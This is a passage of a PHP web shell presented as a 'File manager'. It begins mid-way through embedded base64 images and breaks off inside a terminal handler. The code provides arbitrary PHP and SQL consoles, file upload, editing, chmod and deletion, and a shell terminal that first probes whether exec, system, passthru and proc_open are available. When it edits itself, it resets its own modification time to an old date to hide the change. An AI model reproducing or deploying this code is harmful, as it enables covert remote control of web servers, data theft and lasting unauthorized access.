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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = 